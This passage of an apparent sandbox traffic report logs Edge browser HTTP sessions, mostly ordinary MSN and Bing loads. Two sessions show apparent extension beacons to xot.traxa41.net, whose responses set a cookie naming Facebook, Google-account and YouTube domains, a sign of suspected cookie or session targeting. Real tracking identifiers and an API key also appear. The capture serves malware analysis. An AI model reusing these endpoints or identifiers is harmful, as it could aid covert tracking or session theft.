rg-1s-twid,msph-onboardconfig,hp-bot-seo,prg-1sw-iconmap,1s-uasdisf-t,prg-wx-ncar,1s-user-ctrl-rotc1,ads-usepme-c,prg-1sw-finvldc,prg-rpt2,prg-cg-dom-cleac,0age5412,ads-anjson-migt,1s-servicetelemetry,sh-bdvid,prg-sh-bd-video,fv-channel-stagc,prg-1s-sm-workid,prg-1s-workid,vws-chpgv2-lgtn,prg-chpg-ldgw,msph-contoverview,msph-mergedfeedapi,ads-sharvia-migr,msph-aiacselect,1s-blis-followloc,1s-wpo-ntp-hero-t,msph-mngcontrep,msph-c2scontrep,msph-newrsvideo,prg-1s-mm-wid-t,cswea-ovwntout,prg-1sw-iplsdp2,prg-1sw-iplsdp1,prg-1sw-iplsd-ntp,prg-1sw-iplsdc1p2,prg-1sw-iplsdc-ntp,prg-whp-minil1,prg-1sw-popularc,prg-ad-va-rf-c,prg-fin-cnosign,prg-1sw-sa-ntf-ddp-c,prg-mon-qcrfs,ads-nooutbrain,prg-sh-bd-pagoff,msph-c2snobrand,prg-sh-bd-ts,prg-1sw-fli-ex2c,prg-bttd-c,prg-1sw-socc-p2,prg-1sw-socc-p1,prg-1sw-socc-ntp,prg-sp-nba24,prg-sp-nhl24,prg-co-ctr,prg-p2-wx2lrot X-Search-ClientID: 09C025F5A71D6FE2180F319FA60A6E8D X-PERSONALBING-CSRF: 1 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com X-Edge-Shopping-Flag: 1 Sec-MS-GEC: AA3F3A36179501D1BB719097791ED2061AD744BADEDF443DFF44FDF5C2CE7FF5 Sec-MS-GEC-Version: 1-117.0.2045.47 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:25 UTC	2615	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Content-Length: 67 Content-Type: application/json; charset=utf-8 Expires: -1 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Set-Cookie: MUID=09C025F5A71D6FE2180F319FA60A6E8D; domain=.bing.com; expires=Sun, 18-May-2025 21:02:25 GMT; path=/; secure; SameSite=None Set-Cookie: MUIDB=09C025F5A71D6FE2180F319FA60A6E8D; expires=Sun, 18-May-2025 21:02:25 GMT; path=/; HttpOnly Set-Cookie: _EDGE_S=F=1&SID=236C7F7608AB6E0811946B1C09AA6F50; domain=.bing.com; path=/; HttpOnly Set-Cookie: _EDGE_V=1; domain=.bing.com; expires=Sun, 18-May-2025 21:02:25 GMT; path=/; HttpOnly Set-Cookie: USRLOC=HS=1; domain=.bing.com; expires=Thu, 23-Apr-2026 21:02:25 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: SRCHD=AF=NOFORM; domain=.bing.com; expires=Thu, 23-Apr-2026 21:02:25 GMT; path=/; secure; SameSite=None Set-Cookie: SRCHUID=V=2&GUID=9EA0047981004AB89E8774DED559C28E&dmnchg=1; domain=.bing.com; expires=Thu, 23-Apr-2026 21:02:25 GMT; path=/; secure; SameSite=None Set-Cookie: SRCHUSR=DOB=20240423; domain=.bing.com; expires=Thu, 23-Apr-2026 21:02:25 GMT; path=/; secure; SameSite=None Set-Cookie: SRCHHPGUSR=SRCHLANG=en; domain=.bing.com; expires=Thu, 23-Apr-2026 21:02:25 GMT; path=/; secure; SameSite=None Set-Cookie: _SS=SID=236C7F7608AB6E0811946B1C09AA6F50; domain=.bing.com; path=/; secure; SameSite=None Access-Control-Allow-Origin: https://ntp.msn.com X-EventID: 662821e19e6b447e8e40103e72182245 Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= Content-Security-Policy-Report-Only: script-src https: 'strict-dynamic' 'report-sample' 'nonce-8X/DeslL4TDKzvhv13mNvr63ezhDCGak0R8LuEl2hcM='; base-uri 'self';report-to csp-endpoint Report-To: {"group":"csp-endpoint","max_age":86400,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingcsp"}]} X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 7351251E092D42D9B8705D4703F04EEB Ref B: BL2AA2030102051 Ref C: 2024-04-23T21:02:25Z Date: Tue, 23 Apr 2024 21:02:24 GMT Connection: close
2024-04-23 21:02:25 UTC	67	IN	Data Raw: 7b 22 74 69 64 22 3a 22 36 36 32 38 32 31 65 31 39 65 36 62 34 34 37 65 38 65 34 30 31 30 33 65 37 32 31 38 32 32 34 35 22 2c 22 63 22 3a 34 2c 22 73 63 22 3a 7b 7d 2c 22 6e 63 65 22 3a 74 72 75 65 7d Data Ascii: {"tid":"662821e19e6b447e8e40103e72182245","c":4,"sc":{},"nce":true}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	49891	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:25 UTC	631	OUT	GET /bundles/v1/edgeChromium/latest/RewardsData.d04fc8c7d4c8170f30ae.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:25 UTC	1154	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: NApYYVJB1wP6P6t0JrboMw== Last-Modified: Wed, 17 Apr 2024 19:30:50 GMT ETag: 0x8DC5F14E3A1E8BD Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 0153f2f7-501e-006a-68fd-902689000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:25 GMT Content-Length: 37121 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402748492,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=1, origin; dur=0 , cdntime; dur=1 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 1801744c Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906145.1801744c Vary: Origin
2024-04-23 21:02:25 UTC	15230	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 52 65 77 61 72 64 73 44 61 74 61 22 5d 2c 7b 37 39 39 37 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 72 2e 64 28 74 2c 7b 43 52 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 7d 2c 4d 78 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 7d 2c 5f 59 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 73 7d 7d 29 3b 63 6f 6e 73 74 20 69 3d 38 2c 6e 3d 32 2a 69 2c 73 3d 22 63 6f 61 Data Ascii: (self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["RewardsData"],{79978:function(e,t,r){"use strict";r.d(t,{CR:function(){return i},Mx:function(){return n},_Y:function(){return s}});const i=8,n=2*i,s="coa
2024-04-23 21:02:26 UTC	9346	IN	Data Raw: 65 67 69 73 74 65 72 4f 62 73 65 72 76 65 72 28 28 65 3d 3e 7b 63 6f 6e 73 74 20 74 3d 65 26 26 65 2e 70 61 72 61 6d 73 3b 21 74 7c 7c 74 2e 6c 65 6e 67 74 68 3c 31 7c 7c 74 5b 30 5d 2e 63 75 72 72 65 6e 74 4c 61 79 6f 75 74 21 3d 6d 2e 6e 50 2e 69 6e 66 6f 72 6d 61 74 69 6f 6e 61 6c 26 26 22 61 6c 77 61 79 73 22 21 3d 3d 74 5b 30 5d 2e 73 65 6c 65 63 74 65 64 46 65 65 64 44 69 73 70 6c 61 79 53 65 74 74 69 6e 67 26 26 74 68 69 73 2e 63 68 65 63 6b 45 6c 69 67 69 62 69 6c 69 74 79 49 6e 66 6f 72 6d 61 74 69 6f 6e 61 6c 53 77 69 74 63 68 4f 66 66 65 72 28 29 7d 29 29 2c 6e 75 6c 6c 21 3d 3d 28 65 3d 74 68 69 73 2e 63 6f 6e 66 69 67 29 26 26 76 6f 69 64 20 30 21 3d 3d 65 26 26 65 2e 75 73 65 4e 46 53 77 69 74 63 68 4f 66 66 65 72 43 6f 61 63 68 4d 61 72 6b Data Ascii: egisterObserver((e=>{const t=e&&e.params;!t\|\|t.length<1\|\|t[0].currentLayout!=m.nP.informational&&"always"!==t[0].selectedFeedDisplaySetting&&this.checkEligibilityInformationalSwitchOffer()})),null!==(e=this.config)&&void 0!==e&&e.useNFSwitchOfferCoachMark
2024-04-23 21:02:26 UTC	12545	IN	Data Raw: 69 6e 67 52 65 77 61 72 64 73 4f 66 66 65 72 53 74 61 74 75 73 4d 61 70 2e 67 65 74 28 6e 2e 62 65 2e 45 4e 55 53 5f 69 6e 66 6f 6d 6f 64 65 5f 73 77 69 74 63 68 5f 6b 65 65 70 5f 73 31 5f 31 30 30 29 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 69 7c 7c 6e 75 6c 6c 3d 3d 3d 28 69 3d 69 2e 63 6f 6d 70 6c 65 74 69 6f 6e 44 61 74 65 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 69 3f 76 6f 69 64 20 30 3a 69 2e 67 65 74 54 69 6d 65 28 29 29 7c 7c 30 29 2c 72 3d 28 28 6e 75 6c 6c 3d 3d 3d 28 73 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2e 63 6f 6d 70 6c 65 74 69 6f 6e 43 6f 61 63 68 6d 61 72 6b 4f 66 66 65 72 73 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 73 7c 7c 6e 75 6c 6c 3d 3d 3d 28 73 3d 73 5b 6e 2e 62 65 2e 45 4e 55 53 5f 69 6e 66 6f 6d 6f 64 65 5f 73 77 69 74 63 68 5f 6b 65 65 70 5f Data Ascii: ingRewardsOfferStatusMap.get(n.be.ENUS_infomode_switch_keep_s1_100))\|\|void 0===i\|\|null===(i=i.completionDate)\|\|void 0===i?void 0:i.getTime())\|\|0),r=((null===(s=this.config.completionCoachmarkOffers)\|\|void 0===s\|\|null===(s=s[n.be.ENUS_infomode_switch_keep_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	49892	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:25 UTC	640	OUT	GET /bundles/v1/edgeChromium/latest/RewardsCoachmarkData.c462c3980af18bc60b9d.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:25 UTC	1154	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: pJcuBYHyXPXmlIenFWFu0g== Last-Modified: Wed, 17 Apr 2024 19:30:49 GMT ETag: 0x8DC5F14E358136B Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 6afe0c38-401e-00cb-69fd-90cbed000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:25 GMT Content-Length: 26439 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402748499,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=1, origin; dur=0 , cdntime; dur=1 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18017453 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906145.18017453 Vary: Origin
2024-04-23 21:02:25 UTC	15230	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 52 65 77 61 72 64 73 43 6f 61 63 68 6d 61 72 6b 44 61 74 61 22 5d 2c 7b 37 39 39 37 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6f 2e 64 28 74 2c 7b 43 52 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 7d 2c 4d 78 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 7d 2c 5f 59 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 7d 7d 29 3b 63 6f 6e 73 74 20 69 3d 38 2c 6e 3d 32 Data Ascii: (self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["RewardsCoachmarkData"],{79978:function(e,t,o){"use strict";o.d(t,{CR:function(){return i},Mx:function(){return n},_Y:function(){return a}});const i=8,n=2
2024-04-23 21:02:26 UTC	9346	IN	Data Raw: 6e 73 74 7b 6c 6f 63 61 6c 69 7a 65 64 53 74 72 69 6e 67 73 3a 6e 7d 3d 65 3b 61 77 61 69 74 28 30 2c 43 2e 68 5f 29 28 6b 2e 5f 2e 72 65 77 61 72 64 73 49 63 6f 6e 29 3b 63 6f 6e 73 74 20 61 3d 28 6e 75 6c 6c 3d 3d 3d 28 74 3d 61 77 61 69 74 28 6e 75 6c 6c 3d 3d 3d 28 6f 3d 28 30 2c 77 2e 55 6e 29 28 29 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 6f 3f 76 6f 69 64 20 30 3a 6f 2e 67 65 74 49 6e 74 65 72 61 63 74 69 6f 6e 73 28 29 29 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 7c 7c 6e 75 6c 6c 3d 3d 3d 28 74 3d 74 5b 70 2e 42 2e 53 69 67 6e 49 6e 55 70 73 65 6c 6c 50 72 6f 6d 6f 74 69 6f 6e 54 6f 4a 6f 69 6e 5d 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 6c 65 6e 67 74 68 29 3f 3f 21 31 3f 63 2e 56 2e 46 65 61 74 75 72 65 3a 63 2e 56 2e 46 75 Data Ascii: nst{localizedStrings:n}=e;await(0,C.h_)(k._.rewardsIcon);const a=(null===(t=await(null===(o=(0,w.Un)())\|\|void 0===o?void 0:o.getInteractions()))\|\|void 0===t\|\|null===(t=t[p.B.SignInUpsellPromotionToJoin])\|\|void 0===t?void 0:t.length)??!1?c.V.Feature:c.V.Fu
2024-04-23 21:02:26 UTC	1863	IN	Data Raw: 28 61 3d 65 2e 69 6e 66 6f 53 77 69 74 63 68 4f 66 66 65 72 53 74 72 69 6e 67 73 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 61 3f 76 6f 69 64 20 30 3a 61 2e 65 6e 67 61 67 65 42 75 74 74 6f 6e 4c 61 62 65 6c 29 7c 7c 22 53 77 69 74 63 68 20 6c 61 79 6f 75 74 22 2c 61 63 74 69 6f 6e 44 65 6c 65 67 61 74 65 3a 74 7d 2c 64 69 73 6d 69 73 73 43 6f 6e 74 65 6e 74 41 63 74 69 6f 6e 3a 7b 6c 61 62 65 6c 3a 28 6e 75 6c 6c 3d 3d 65 7c 7c 6e 75 6c 6c 3d 3d 3d 28 72 3d 65 2e 69 6e 66 6f 53 77 69 74 63 68 4f 66 66 65 72 53 74 72 69 6e 67 73 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 72 3f 76 6f 69 64 20 30 3a 72 2e 64 69 73 6d 69 73 73 42 75 74 74 6f 6e 4c 61 62 65 6c 29 7c 7c 22 4d 61 79 62 65 20 6c 61 74 65 72 22 2c 61 63 74 69 6f 6e 44 65 6c 65 67 61 74 65 3a 28 29 3d 3e 7b 7d Data Ascii: (a=e.infoSwitchOfferStrings)\|\|void 0===a?void 0:a.engageButtonLabel)\|\|"Switch layout",actionDelegate:t},dismissContentAction:{label:(null==e\|\|null===(r=e.infoSwitchOfferStrings)\|\|void 0===r?void 0:r.dismissButtonLabel)\|\|"Maybe later",actionDelegate:()=>{}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	49895	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:25 UTC	643	OUT	GET /bundles/v1/edgeChromium/latest/MarketMismatchCoachMark.e6fcf9edbaadfb663ccb.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:26 UTC	1153	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: bdsRYBGkuaqiFpOcmj9qXQ== Last-Modified: Fri, 19 Apr 2024 19:35:50 GMT ETag: 0x8DC60A7EB9C51F1 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 7e70644a-b01e-0048-1a90-92e1be000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:26 GMT Content-Length: 7158 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402748587,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=1, origin; dur=0 , cdntime; dur=1 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 180174ab Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906146.180174ab Vary: Origin
2024-04-23 21:02:26 UTC	7158	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 4d 61 72 6b 65 74 4d 69 73 6d 61 74 63 68 43 6f 61 63 68 4d 61 72 6b 22 5d 2c 7b 33 38 36 31 33 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 6e 2e 72 28 74 29 2c 6e 2e 64 28 74 2c 7b 6c 6f 61 64 43 68 69 6e 61 4c 61 6e 67 75 61 67 65 43 6f 61 63 68 6d 61 72 6b 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 79 7d 7d 29 3b 76 61 72 20 69 3d 6e 28 32 33 32 33 34 29 2c 61 3d 6e 28 32 36 34 36 35 29 2c 6f Data Ascii: "use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["MarketMismatchCoachMark"],{38613:function(e,t,n){n.r(t),n.d(t,{loadChinaLanguageCoachmark:function(){return y}});var i=n(23234),a=n(26465),o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	49896	23.106.238.238	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:26 UTC	402	OUT	GET /ext/analytic?do=init&from=Chrome3 HTTP/1.1 Host: xot.traxa41.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:26 UTC	1213	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 20:59:40 GMT Content-Type: image/jpeg Transfer-Encoding: chunked Connection: close Access-Control-Expose-Headers: Penblock Block: 2 Kenblock: enhjdmJubWFzZGZnaGprbHF3ZXJ0eXVpb3BaWENWQk5NQVNERkdISktMUVdFUlRZVUlPUDAxMjM0NTY3ODkrLz0= Penblock: 2-enhjdmJubWFzZGZnaGprbHF3ZXJ0eXVpb3BaWENWQk5NQVNERkdISktMUVdFUlRZVUlPUDAxMjM0NTY3ODkrLz0= Expires: Sat, 01 Jan 2000 00:00:00 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE Set-Cookie: gxid=6628213c59b94; expires=Fri, 23-Apr-2027 20:59:40 GMT; Max-Age=94608000; path=/; domain=.traxa41.net; secure; SameSite=None Set-Cookie: installed=true; expires=Wed, 23-Apr-2025 20:59:40 GMT; Max-Age=31536000; path=/; domain=.traxa41.net; secure; SameSite=None Set-Cookie: clog=.facebook.com-.twitter.com-.instagram.com-www.google.com-accounts.google.com-ogs.google.com-.google.com-www.youtube.com-.youtube.com; expires=Wed, 23-Apr-2025 20:59:40 GMT; Max-Age=31536000; path=/; domain=.traxa41.net; secure; SameSite=None Img-Error: undefined
2024-04-23 21:02:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	49897	23.106.238.238	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:26 UTC	399	OUT	GET /ext/installed?1=1&from=Chrome3 HTTP/1.1 Host: xot.traxa41.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:26 UTC	1501	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 20:59:40 GMT Content-Type: image/jpeg Transfer-Encoding: chunked Connection: close Set-Cookie: installed=true; expires=Wed, 23-Apr-2025 20:59:40 GMT; Max-Age=31536000; path=/; domain=.traxa41.net; secure; SameSite=None Set-Cookie: gxid=6628213c59b94; expires=Fri, 23-Apr-2027 20:59:40 GMT; Max-Age=94608000; path=/; domain=.traxa41.net; secure; SameSite=None Set-Cookie: installed=true; expires=Wed, 23-Apr-2025 20:59:40 GMT; Max-Age=31536000; path=/; domain=.traxa41.net; secure; SameSite=None Set-Cookie: clog=.facebook.com-.twitter.com-.instagram.com-www.google.com-accounts.google.com-ogs.google.com-.google.com-www.youtube.com-.youtube.com; expires=Wed, 23-Apr-2025 20:59:40 GMT; Max-Age=31536000; path=/; domain=.traxa41.net; secure; SameSite=None Access-Control-Expose-Headers: Penblock Block: 2 Kenblock: enhjdmJubWFzZGZnaGprbHF3ZXJ0eXVpb3BaWENWQk5NQVNERkdISktMUVdFUlRZVUlPUDAxMjM0NTY3ODkrLz0= Penblock: 2-enhjdmJubWFzZGZnaGprbHF3ZXJ0eXVpb3BaWENWQk5NQVNERkdISktMUVdFUlRZVUlPUDAxMjM0NTY3ODkrLz0= Expires: Sat, 01 Jan 2000 00:00:00 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE Set-Cookie: safe-installed-internal=true; expires=Wed, 23-Apr-2025 20:59:40 GMT; Max-Age=31536000; path=/; domain=.traxa41.net; secure; SameSite=None Img-Error: undefined
2024-04-23 21:02:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	49899	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:26 UTC	998	OUT	GET /service/News/Users/me/Rewards?apikey=1hYoJsIRvPEnSkk0hlnJF2092mHqiz7xFenIFKa9uc&activityId=E77229BA-D79F-43CA-83B8-B957C0F02B66&ocid=rewards-peregrine&cm=en-us&it=app&user=m-09C025F5A71D6FE2180F319FA60A6E8D&scn=APP_ANON&version=2 HTTP/1.1 Host: assets.msn.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; 